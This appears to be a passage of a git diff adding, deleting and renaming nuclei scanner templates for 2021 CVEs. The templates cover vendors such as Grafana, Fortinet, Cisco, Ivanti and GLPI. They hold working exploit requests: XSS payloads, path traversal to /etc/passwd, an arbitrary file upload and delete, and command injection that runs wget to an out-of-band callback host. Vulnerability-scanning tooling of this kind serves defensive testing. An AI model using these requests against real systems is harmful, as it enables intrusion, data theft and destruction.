Culture=neutral, PublicKeyToken=b77a5c561934e089]] - - - - - - System.Diagnostics.Process Start(System.String, System.String) - System.Diagnostics.Process Start(System.String, System.String) - 8 - - - - - - - Int32 Compare(System.String, System.String) - System.Int32 Compare(System.String, System.String) - 8 - - - - - 2 - - /c nslookup {{interactsh-url}} - cmd - - - - - - - matchers-condition: and - matchers: - - type: word - part: interactsh_protocol # Confirms DNS Interaction - words: - - "dns" - - - type: word - part: body - words: - - "System.ArgumentNullException" - -# Enhanced by mp on 2022/02/08 diff --git a/nuclei-templates/CVE-2021/CVE-2021-42566.yaml b/nuclei-templates/CVE-2021/CVE-2021-42566.yaml deleted file mode 100644 index 2ba8f6ef60..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-42566.yaml +++ /dev/null @@ -1,43 +0,0 @@ -id: CVE-2021-42566 - -info: - name: myfactory FMS - Reflected Cross-Site Scripting - author: madrobot - severity: medium - description: myfactory.FMS before 7.1-912 allows cross-site scripting via the Error parameter. - reference: - - https://nvd.nist.gov/vuln/detail/CVE-2021-42566 - - https://www.redteam-pentesting.de/en/advisories/rt-sa-2021-001/-cross-site-scripting-in-myfactory-fms - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-42566 - - https://www.redteam-pentesting.de/advisories/rt-sa-2021-001 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2021-42566 - cwe-id: CWE-79 - tags: cve,cve2021,myfactory,xss - -requests: - - method: GET - path: - - '{{BaseURL}}/ie50/system/login/SysLoginUser.aspx?Login=Error&Error=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' - - '{{BaseURL}}/system/login/SysLoginUser.aspx?Login=Error&Error=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - part: body - words: - - "" - condition: and - - - type: word - part: header - words: - - "text/html" - -# Enhanced by mp on 2022/02/28 diff --git a/nuclei-templates/CVE-2021/CVE-2021-42567.yaml b/nuclei-templates/CVE-2021/CVE-2021-42567.yaml deleted file mode 100644 index 3b77599b4c..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-42567.yaml +++ /dev/null @@ -1,44 +0,0 @@ -id: CVE-2021-42567 - -info: - name: Apereo CAS Reflected Cross-Site Scripting - author: pdteam - severity: medium - description: Apereo CAS through 6.4.1 allows cross-site scripting via POST requests sent to the REST API endpoints. - reference: - - https://apereo.github.io/2021/10/18/restvuln/ - - https://www.sudokaikan.com/2021/12/exploit-cve-2021-42567-post-based-xss.html - - https://github.com/sudohyak/exploit/blob/dcf04f704895fe7e042a0cfe9c5ead07797333cc/CVE-2021-42567/README.md - - https://nvd.nist.gov/vuln/detail/CVE-2021-42567 - - https://github.com/apereo/cas/releases - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2021-42567 - cwe-id: CWE-79 - metadata: - shodan-query: http.title:'CAS - Central Authentication Service' - tags: cve,cve2021,apereo,xss,cas - -requests: - - raw: - - | - POST /cas/v1/tickets/ HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - username=%3Cimg%2Fsrc%2Fonerror%3Dalert%28document.domain%29%3E&password=test - - matchers-condition: and - matchers: - - type: word - words: - - '' - - 'java.util.HashMap' - condition: and - - - type: status - status: - - 401 - -# Enhanced by mp on 2022/02/28 diff --git a/nuclei-templates/CVE-2021/CVE-2021-43062.yaml b/nuclei-templates/CVE-2021/CVE-2021-43062.yaml new file mode 100644 index 0000000000..9528b0ce66 --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-43062.yaml @@ -0,0 +1,54 @@ +id: CVE-2021-43062 + +info: + name: Fortinet FortiMail 7.0.1 - Cross-Site Scripting + author: ajaysenr + severity: medium + description: A cross-site scripting vulnerability in FortiMail may allow an unauthenticated attacker to perform an attack via specially crafted HTTP GET requests to the FortiGuard URI protection service. + impact: | + Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the targeted user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. + remediation: | + Apply the latest security patch or upgrade to a non-vulnerable version of Fortinet FortiMail. + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2021-43062 + - https://www.fortiguard.com/psirt/FG-IR-21-185 + - https://www.exploit-db.com/exploits/50759 + - https://fortiguard.com/advisory/FG-IR-21-185 + - https://github.com/ARPSyndicate/cvemon + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2021-43062 + cwe-id: CWE-79 + epss-score: 0.00709 + epss-percentile: 0.79992 + cpe: cpe:2.3:a:fortinet:fortimail:*:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: fortinet + product: fortimail + tags: cve,cve2021,fortimail,xss,fortinet,edb + +http: + - method: GET + path: + - "{{BaseURL}}/fmlurlsvc/?=&url=https%3A%2F%2Fgoogle.com" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "" + - "FortiMail Click Protection" + condition: and + + - type: word + part: header + words: + - "text/html" + + - type: status + status: + - 200 +# digest: 490a00463044022035f3b272f2f2eb3ffd2265b03fc34944ba5ea2298fe4943fccb382b77dcbfb5402206fae9c44d872dbd06fb5992248d7d731d43168f9ce8c47f3ede8c51ca7b34c5c:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2021/CVE-2021-43778.yaml b/nuclei-templates/CVE-2021/CVE-2021-43778.yaml deleted file mode 100644 index ca45e3115f..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-43778.yaml +++ /dev/null @@ -1,40 +0,0 @@ -id: CVE-2021-43778 - -info: - name: GLPI plugin Barcode < 2.6.1 - Path Traversal Vulnerability. - author: cckuailong - severity: high - description: Barcode is a GLPI plugin for printing barcodes and QR codes. GLPI instances version 2.x prior to version 2.6.1 with the barcode plugin installed are vulnerable to a path traversal vulnerability. - reference: - - https://github.com/AK-blank/CVE-2021-43778 - - https://nvd.nist.gov/vuln/detail/CVE-2021-43778 - - https://github.com/pluginsGLPI/barcode/security/advisories/GHSA-2pjh-h828-wcw9 - - https://github.com/pluginsGLPI/barcode/releases/tag/2.6.1 - remediation: Upgrade to version 2.6.1 or later. Or, as a workaround, delete the `front/send.php` file. - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2021-43778 - cwe-id: CWE-22 - cpe: cpe:2.3:a:glpi-project:barcode:*:*:*:*:*:*:*:* - epss-score: 0.77314 - tags: glpi,cve,cve2021,lfi,plugin,traversal - metadata: - max-request: 1 - -http: - - method: GET - path: - - "{{BaseURL}}/glpi/plugins/barcode/front/send.php?file=../../../../../../../../etc/passwd" - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: regex - regex: - - "root:.*:0:0:" - -# Enhanced by mp on 2022/02/28 diff --git a/nuclei-templates/CVE-2021/CVE-2021-43798.yaml b/nuclei-templates/CVE-2021/CVE-2021-43798.yaml deleted file mode 100644 index 66ea83cd9d..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-43798.yaml +++ /dev/null @@ -1,46 +0,0 @@ -id: CVE-2021-43798 - -info: - name: Grafana v8.x - Arbitrary File Read - author: z0ne,dhiyaneshDk,j4vaovo - severity: high - description: Grafana versions 8.0.0-beta1 through 8.3.0 are vulnerable to a local directory traversal, allowing access to local files. The vulnerable URL path is `/public/plugins/NAME/`, where NAME is the plugin ID for any installed plugin. - reference: - - https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p - - https://nosec.org/home/detail/4914.html - - https://github.com/jas502n/Grafana-VulnTips - - https://nvd.nist.gov/vuln/detail/CVE-2021-43798 - remediation: Upgrade to patched versions 8.0.7, 8.1.8, 8.2.7, or 8.3.1. - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2021-43798 - cwe-id: CWE-22 - cpe: cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:* - epss-score: 0.97083 - metadata: - max-request: 3 - verified: "true" - shodan-query: title:"Grafana" - tags: cve,cve2021,grafana,lfi - -http: - - method: GET - path: - - '{{BaseURL}}/public/plugins/alertlist/../../../../../../../../../../../../../../../../../../../etc/passwd' - - '{{BaseURL}}/public/plugins/alertlist/../../../../../../../../../../../../../../../../../../../windows/win.ini' - - '{{BaseURL}}/public/plugins/alertlist/../../../../../conf/defaults.ini' - - stop-at-first-match: true - matchers-condition: and - matchers: - - type: regex - regex: - - 'root:.*:0:0:' - - '\\[(font|extension|file)s\\]' - - 'socket\s*=\s*\/tmp\/grafana\.sock' - condition: or - - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2021/cve-2021-43810.yaml b/nuclei-templates/CVE-2021/CVE-2021-43810.yaml similarity index 100% rename from nuclei-templates/CVE-2021/cve-2021-43810.yaml rename to nuclei-templates/CVE-2021/CVE-2021-43810.yaml diff --git a/nuclei-templates/CVE-2021/CVE-2021-44152.yaml b/nuclei-templates/CVE-2021/CVE-2021-44152.yaml new file mode 100644 index 0000000000..bb870b65a1 --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-44152.yaml @@ -0,0 +1,51 @@ +id: CVE-2021-44152 + +info: + name: Reprise License Manager 14.2 - Authentication Bypass + author: Akincibor + severity: critical + description: | + Reprise License Manager (RLM) 14.2 does not verify authentication or authorization and allows unauthenticated users to change the password of any existing user. + impact: | + Successful exploitation of this vulnerability could allow an attacker to bypass authentication and gain unauthorized access to the Reprise License Manager. + remediation: | + Apply the latest security patch or upgrade to a patched version of Reprise License Manager to mitigate this vulnerability. + reference: + - https://reprisesoftware.com/admin/rlm-admin-download.php?&euagree=yes + - http://packetstormsecurity.com/files/165186/Reprise-License-Manager-14.2-Unauthenticated-Password-Change.html + - https://nvd.nist.gov/vuln/detail/CVE-2021-44152 + - https://www.reprisesoftware.com/RELEASE_NOTES + - https://github.com/anonymous364872/Rapier_Tool + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2021-44152 + cwe-id: CWE-306 + epss-score: 0.86031 + epss-percentile: 0.98489 + cpe: cpe:2.3:a:reprisesoftware:reprise_license_manager:*:*:*:*:*:*:*:* + metadata: + verified: true + max-request: 1 + vendor: reprisesoftware + product: reprise_license_manager + shodan-query: http.html:"Reprise License Manager" + google-query: inurl:"/goforms/menu" + tags: cve,cve2021,packetstorm,rlm,auth-bypass,reprisesoftware + +http: + - method: GET + path: + - "{{BaseURL}}/goforms/menu" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "RLM Administration Commands" + + - type: status + status: + - 200 +# digest: 490a00463044022058e22ef0825a67c256b8ecf58ad3a8f63a5ad803c913a95fe044aec1ad6fa0ce02206c27f104f770caf2f1ccb7838363f0f223d12ae87a31497c048909a401041448:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2021/CVE-2021-44515.yaml b/nuclei-templates/CVE-2021/CVE-2021-44515.yaml deleted file mode 100644 index 73c1dee88e..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-44515.yaml +++ /dev/null @@ -1,39 +0,0 @@ -id: CVE-2021-44515 -info: - name: Zoho ManageEngine Desktop Central - Remote Code Execution - author: Adam Crosser - severity: critical - description: Zoho ManageEngine Desktop Central contains an authentication bypass vulnerability that could allow an attacker to execute arbitrary code in the Desktop Central MSP server. - reference: - - https://www.cisa.gov/uscert/ncas/current-activity/2021/12/10/cisa-adds-13-known-exploited-vulnerabilities-catalog - - https://srcincite.io/blog/2022/01/20/zohowned-a-critical-authentication-bypass-on-zoho-manageengine-desktop-central.html - - https://attackerkb.com/topics/rJw4DFI2RQ/cve-2021-44515/rapid7-analysis - - https://pitstop.manageengine.com/portal/en/community/topic/an-authentication-bypass-vulnerability-identified-and-fixed-in-desktop-central-and-desktop-central-msp - - https://nvd.nist.gov/vuln/detail/CVE-2021-44515 - remediation: For Enterprise builds 10.1.2127.17 and earlier, upgrade to 10.1.2127.18. For Enterprise builds 10.1.2128.0 through 10.1.2137.2, upgrade to 10.1.2137.3. For MSP builds 10.1.2127.17 and earlier, upgrade to 10.1.2127.18. For MSP builds 10.1.2128.0 through 10.1.2137.2, upgrade to 10.1.2137.3. - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2021-44515 - cwe-id: CWE-287 - tags: cve,cve2021,zoho,rce,manageengine,kev -requests: - - raw: - - | - GET /STATE_ID/123/agentLogUploader HTTP/1.1 - Host: {{Hostname}} - Cookie: STATE_COOKIE=&_REQS/_TIME/123 - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: dsl - dsl: - - "len(body) == 0" - - type: word - part: header - words: - - "UEMJSESSIONID=" - -# Enhanced by mp on 2022/05/18 diff --git a/nuclei-templates/CVE-2021/CVE-2021-44528.yaml b/nuclei-templates/CVE-2021/CVE-2021-44528.yaml new file mode 100644 index 0000000000..52aea3dc60 --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-44528.yaml @@ -0,0 +1,35 @@ +id: CVE-2021-44528 +info: + name: Open Redirect in Host Authorization Middleware + author: geeknik + severity: medium + description: Specially crafted "X-Forwarded-Host" headers in combination with certain "allowed host" formats can cause the Host Authorization middleware in Action Pack to redirect users to a malicious website. + reference: + - https://seclists.org/oss-sec/2021/q4/att-160/7-0-host-authorzation-open-redirect.patch + - https://nvd.nist.gov/vuln/detail/CVE-2021-44528 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.10 + cve-id: CVE-2021-44528 + cwe-id: CWE-601 + tags: cve,cve2021,redirect +requests: + - raw: + - | + GET / HTTP/1.1 + Host: {{Hostname}} + X-Forwarded-Host: //example.com + matchers-condition: and + matchers: + - type: regex + part: header + regex: + - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)example\.com\/?(\/|[^.].*)?$' + - type: status + status: + - 301 + - 302 + - 307 + - 308 + +# Enhanced by mp on 2022/02/28 diff --git a/nuclei-templates/CVE-2021/CVE-2021-44529.yaml b/nuclei-templates/CVE-2021/CVE-2021-44529.yaml new file mode 100644 index 0000000000..2da889cad6 --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-44529.yaml @@ -0,0 +1,50 @@ +id: CVE-2021-44529 + +info: + name: Ivanti EPM Cloud Services Appliance Code Injection + author: duty_1g,phyr3wall,Tirtha + severity: critical + description: Ivanti EPM Cloud Services Appliance (CSA) before version 4.6.0-512 is susceptible to a code injection vulnerability because it allows an unauthenticated user to execute arbitrary code with limited permissions (nobody). + remediation: | + Apply the latest security patches provided by Ivanti to mitigate this vulnerability. + reference: + - https://forums.ivanti.com/s/article/SA-2021-12-02 + - https://twitter.com/Dinosn/status/1505273954478530569 + - https://nvd.nist.gov/vuln/detail/CVE-2021-44529 + - http://packetstormsecurity.com/files/166383/Ivanti-Endpoint-Manager-CSA-4.5-4.6-Remote-Code-Execution.html + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2021-44529 + cwe-id: CWE-94 + epss-score: 0.95982 + epss-percentile: 0.99313 + cpe: cpe:2.3:a:ivanti:endpoint_manager_cloud_services_appliance:*:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: ivanti + product: endpoint_manager_cloud_services_appliance + shodan-query: title:"LANDesk(R) Cloud Services Appliance" + tags: cve2021,ivanti,epm,csa,injection,packetstorm,cve + +http: + - raw: + - | + GET /client/index.php HTTP/1.1 + Host: {{Hostname}} + Cookie: ab=ab; c=cGhwaW5mbygpOw==; d=; e=; + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "phpinfo()" + - "Cloud Services Appliance" + condition: and + + - type: status + status: + - 200 + +# digest: 4a0a004730450220556de63bbb262cc8ad65b9944c9a2937ab5306e4e7b0559d05e05f671dae2fdf022100add47a88e1d37c64bed2411a5242b4ba229edf677de18dfec9af3d1315f41fe2:922c64590222798bb761d5b6d8e72950 diff --git a/nuclei-templates/CVE-2021/CVE-2021-44848.yaml b/nuclei-templates/CVE-2021/CVE-2021-44848.yaml new file mode 100644 index 0000000000..13455b09d6 --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-44848.yaml @@ -0,0 +1,31 @@ +id: CVE-2021-44848 + +info: + name: User Enumeration + author: danielmofer + severity: medium + description: Thinfinity VirtualUI (before v3.0), /changePassword returns different responses for requests depending on whether the username exists. It may enumerate OS users (Administrator, Guest, etc.) + reference: + - https://github.com/cybelesoft/virtualui/issues/1 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44848 + - https://www.tenable.com/cve/CVE-2021-44848 + tags: cve,cve2021,exposure + +requests: + - raw: + - | + GET /changePassword?username=administrator HTTP/1.1 + Host: {{Hostname}} + - | + GET /changePassword?username=admin HTTP/1.1 + Host: {{Hostname}} + - | + GET /changePassword?username=guest HTTP/1.1 + Host: {{Hostname}} + + stop-at-first-match: true + matchers: + - type: regex + regex: + - "rc.*" + part: body diff --git a/nuclei-templates/CVE-2021/cve-2021-45043.yaml b/nuclei-templates/CVE-2021/CVE-2021-45043.yaml similarity index 100% rename from nuclei-templates/CVE-2021/cve-2021-45043.yaml rename to nuclei-templates/CVE-2021/CVE-2021-45043.yaml diff --git a/nuclei-templates/CVE-2021/CVE-2021-45092.yaml b/nuclei-templates/CVE-2021/CVE-2021-45092.yaml deleted file mode 100644 index f137de743f..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-45092.yaml +++ /dev/null @@ -1,25 +0,0 @@ -id: CVE-2021-45092 - -info: - name: Iframe functionallity - author: danielmofer - severity: medium - description: Thinfinity VirtualUI is a web remote desktop system, a vulnerability exist in a function located in /lab.html reachable by default that could allow IFRAME injection via the "vpath" parameter. - reference: - - https://github.com/cybelesoft/virtualui/issues/2 - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44848 - - https://www.tenable.com/cve/CVE-2021-45092 - tags: cve,cve2021,exposure - -requests: - - raw: - - | - GET /lab.html?vpath=//wikipedia.com HTTP/1.1 - Host: {{Hostname}} - - stop-at-first-match: true - matchers: - - type: regex - regex: - - ".*vpath.*" - part: body diff --git a/nuclei-templates/CVE-2021/CVE-2021-45232.yaml b/nuclei-templates/CVE-2021/CVE-2021-45232.yaml new file mode 100644 index 0000000000..b9ba133938 --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-45232.yaml @@ -0,0 +1,38 @@ +id: CVE-2021-45232 + +info: + name: Apache APISIX Dashboard <2.10.1 API Unauthorized Access + author: Mr-xn + severity: critical + description: In Apache APISIX Dashboard before 2.10.1, the Manager API uses two frameworks and introduces framework `droplet` on the basis of framework `gin.' While all APIs and authentication middleware are developed based on framework `droplet`, some API directly use the interface of framework `gin` thus bypassing their authentication. + reference: + - https://apisix.apache.org/zh/blog/2021/12/28/dashboard-cve-2021-45232/ + - https://github.com/pingpongcult/CVE-2021-45232 + - https://github.com/advisories/GHSA-wcxq-f256-53xp + - https://twitter.com/403Timeout/status/1475715079173976066 + - https://github.com/wuppp/cve-2021-45232-exp + remediation: Upgrade to release 2.10.1 or later. Or, change the default username and password, and restrict the source IP to access the Apache APISIX Dashboard. + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2021-45232 + cwe-id: CWE-306 + tags: cve,cve2021,apache,unauth,apisix + +requests: + - method: GET + path: + - "{{RootURL}}/apisix/admin/migrate/export" + + matchers-condition: and + matchers: + + - type: word + words: + - '"Consumers":' + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/04/22 diff --git a/nuclei-templates/CVE-2021/CVE-2021-45428.yaml b/nuclei-templates/CVE-2021/CVE-2021-45428.yaml deleted file mode 100644 index 2ba8ceec99..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-45428.yaml +++ /dev/null @@ -1,43 +0,0 @@ -id: CVE-2021-45428 -info: - name: Telesquare TLR-2005KSH 1.0.0 - Arbitrary File Upload - author: gy741 - severity: critical - description: | - TLR-2005KSH is affected by an incorrect access control vulnerability. THe PUT method is enabled so an attacker can upload arbitrary files including HTML and CGI formats. - reference: - - https://drive.google.com/file/d/1wM1SPOfB9mH2SES7cAmlysuI9fOpFB3F/view?usp=sharing - - http://packetstormsecurity.com/files/167101/TLR-2005KSH-Arbitrary-File-Upload.html - - https://nvd.nist.gov/vuln/detail/CVE-2021-45428 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2021-45428 - cwe-id: CWE-639 - metadata: - shodan-query: http.html:"TLR-2005KSH" - verified: "true" - tags: cve,cve2021,telesquare,intrusive,fileupload -requests: - - raw: - - | - GET /{{randstr}}.txt HTTP/1.1 - Host: {{Hostname}} - - | - PUT /{{randstr}}.txt HTTP/1.1 - Host: {{Hostname}} - - CVE-2021-45428 - - | - GET /{{randstr}}.txt HTTP/1.1 - Host: {{Hostname}} - req-condition: true - matchers-condition: and - matchers: - - type: dsl - dsl: - - 'status_code_1 == 404 && status_code_2 == 201' - - 'contains(body_3, "CVE-2021-45428") && status_code_3 == 200' - condition: and - -# Enhanced by mp on 2022/05/19 diff --git a/nuclei-templates/CVE-2021/CVE-2021-45968.yaml b/nuclei-templates/CVE-2021/CVE-2021-45968.yaml new file mode 100644 index 0000000000..58faaad86b --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-45968.yaml @@ -0,0 +1,48 @@ +id: CVE-2021-45968 + +info: + name: Pascom CPS - Local File Inclusion + author: dwisiswant0 + severity: high + description: | + Pascom packaged with Cloud Phone System (CPS) versions before 7.20 contain a known local file inclusion vulnerability. + remediation: | + Apply the latest security patches or updates provided by the vendor to fix the Local File Inclusion vulnerability in Pascom CPS. + reference: + - https://kerbit.io/research/read/blog/4 + - https://www.pascom.net/doc/en/release-notes/ + - https://tutorialboy24.blogspot.com/2022/03/the-story-of-3-bugs-that-lead-to.html + - https://nvd.nist.gov/vuln/detail/CVE-2021-45968 + - https://jivesoftware.com/platform/ + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2021-45968 + cwe-id: CWE-918 + epss-score: 0.01864 + epss-percentile: 0.87016 + cpe: cpe:2.3:a:jivesoftware:jive:-:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: jivesoftware + product: jive + tags: cve,cve2021,pascom,lfi + +http: + - raw: + - | + GET /services/pluginscript/ HTTP/1.1 + Host: {{Hostname}} + GET /services/pluginscript/..;/..;/ HTTP/1.1 + Host: {{Hostname}} + GET / HTTP/1.1 + Host: {{Hostname}} + + req-condition: true + matchers: + - type: dsl + dsl: + - "status_code_2 != status_code_1" + condition: and + +# digest: 4a0a00473045022024d5a8071e9b1c935959c37de21869686dbcbcda609976f3f5dcf9e5a92e9ae60221009579464fc1781ff7601097729450286f87b07e8442303ebb5ca22d0b2a79b7e9:922c64590222798bb761d5b6d8e72950 diff --git a/nuclei-templates/CVE-2021/cve-2021-46379.yaml b/nuclei-templates/CVE-2021/CVE-2021-46379.yaml similarity index 100% rename from nuclei-templates/CVE-2021/cve-2021-46379.yaml rename to nuclei-templates/CVE-2021/CVE-2021-46379.yaml diff --git a/nuclei-templates/CVE-2021/CVE-2021-46424.yaml b/nuclei-templates/CVE-2021/CVE-2021-46424.yaml deleted file mode 100644 index 68a13f74a8..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-46424.yaml +++ /dev/null @@ -1,39 +0,0 @@ -id: CVE-2021-46424 -info: - name: Telesquare TLR-2005KSH 1.0.0 - Arbitrary File Delete - author: gy741 - severity: critical - description: Telesquare TLR-2005KSH 1.0.0 is affected by an arbitrary file deletion vulnerability that allows a remote attacker to delete any file, even system internal files, via a DELETE request. - reference: - - https://dl.packetstormsecurity.net/2205-exploits/tlr2005ksh-filedelete.txt - - https://drive.google.com/drive/folders/1_e3eJ8fzhCWnCkoRpbLoyQecuKkPR4OD?usp=sharing - - http://packetstormsecurity.com/files/167127/TLR-2005KSH-Arbitrary-File-Delete.html - - https://nvd.nist.gov/vuln/detail/CVE-2021-46424 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H - cvss-score: 9.1 - cve-id: CVE-2021-46424 - cwe-id: CWE-306 - metadata: - shodan-query: http.html:"TLR-2005KSH" - verified: "true" - tags: cve,cve2021,telesquare,intrusive -requests: - - raw: - - | - GET /images/icons_title.gif HTTP/1.1 - Host: {{Hostname}} - - | - DELETE /images/icons_title.gif HTTP/1.1 - Host: {{Hostname}} - - | - GET /images/icons_title.gif HTTP/1.1 - Host: {{Hostname}} - req-condition: true - matchers-condition: and - matchers: - - type: dsl - dsl: - - "status_code_1 == 200 && status_code_2 == 204 && status_code_3 == 404" - -# Enhanced by mp on 2022/05/18 diff --git a/nuclei-templates/Other/2021-20837.yaml "b/nuclei-templates/CVE-2021/CVE-2021\342\200\22320837.yaml" similarity index 100% rename from nuclei-templates/Other/2021-20837.yaml rename to "nuclei-templates/CVE-2021/CVE-2021\342\200\22320837.yaml" diff --git a/nuclei-templates/CVE-2021/cve-2021-1497.yaml b/nuclei-templates/CVE-2021/cve-2021-1497.yaml new file mode 100644 index 0000000000..d7e5339d49 --- /dev/null +++ b/nuclei-templates/CVE-2021/cve-2021-1497.yaml @@ -0,0 +1,49 @@ +id: CVE-2021-1497 + +info: + name: Cisco HyperFlex HX Data Platform RCE + description: Multiple vulnerabilities in the web-based management interface of Cisco HyperFlex HX could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device. + author: gy741,sullo + severity: critical + reference: + - https://swarm.ptsecurity.com/cisco-hyperflex-how-we-got-rce-through-login-form-and-other-findings/ + - https://nvd.nist.gov/vuln/detail/CVE-2021-1497 + - https://packetstormsecurity.com/files/162976/Cisco-HyperFlex-HX-Data-Platform-Command-Execution.html + - https://twitter.com/Unit42_Intel/status/1402655493735206915 + - https://twitter.com/ptswarm/status/1390300625129201664 + - https://www.thezdi.com/blog/2021/6/23/cve-2021-1497-cisco-hyperflex-hx-auth-handling-remote-command-execution + - https://github.com/EdgeSecurityTeam/Vulnerability/blob/c0af411de9adb82826303c5b05a0d766fb553f28/Cisco%20HyperFlex%20HX%20%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%EF%BC%88CVE-2021-1497-CVE-2021-1498%EF%BC%89.md + tags: cve,cve2021,cisco,rce,oast + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.80 + cve-id: CVE-2021-1497 + cwe-id: CWE-78 + +requests: + - raw: + - | + POST /auth/change HTTP/1.1 + Host: {{Hostname}} + Accept: */* + Content-Type: application/x-www-form-urlencoded + + username=root&password={{url_encode('123\",\"$6$$\"));import os;os.system(\"wget http://{{interactsh-url}}\");print(crypt.crypt(\"')}} + - | + POST /auth HTTP/1.1 + Host: {{Hostname}} + Accept: */* + Content-Type: application/x-www-form-urlencoded + + username=root&password={{url_encode('123\",\"$6$$\"));import os;os.system(\"wget http://{{interactsh-url}}\");print(crypt.crypt(\"')}} + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + part: interactsh_protocol # Confirms the HTTP Interaction + words: + - "http" diff --git a/nuclei-templates/CVE-2021/cve-2021-1498.yaml b/nuclei-templates/CVE-2021/cve-2021-1498.yaml new file mode 100644 index 0000000000..5ff51083b6 --- /dev/null +++ b/nuclei-templates/CVE-2021/cve-2021-1498.yaml @@ -0,0 +1,42 @@ +id: CVE-2021-1498 + +info: + name: Cisco HyperFlex HX Data Platform RCE + description: Multiple vulnerabilities in the web-based management interface of Cisco HyperFlex HX could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device. + author: gy741 + severity: critical + reference: + - https://swarm.ptsecurity.com/cisco-hyperflex-how-we-got-rce-through-login-form-and-other-findings/ + - https://nvd.nist.gov/vuln/detail/CVE-2021-1498 + - https://packetstormsecurity.com/files/162976/Cisco-HyperFlex-HX-Data-Platform-Command-Execution.html + - https://twitter.com/Unit42_Intel/status/1402655493735206915 + - https://twitter.com/ptswarm/status/1390300625129201664 + - https://www.thezdi.com/blog/2021/6/23/cve-2021-1497-cisco-hyperflex-hx-auth-handling-remote-command-execution + - https://github.com/EdgeSecurityTeam/Vulnerability/blob/c0af411de9adb82826303c5b05a0d766fb553f28/Cisco%20HyperFlex%20HX%20%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%EF%BC%88CVE-2021-1497-CVE-2021-1498%EF%BC%89.md + tags: cve,cve2021,cisco,rce,oast,mirai + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.80 + cve-id: CVE-2021-1498 + cwe-id: CWE-78 + +requests: + - raw: + - | + POST 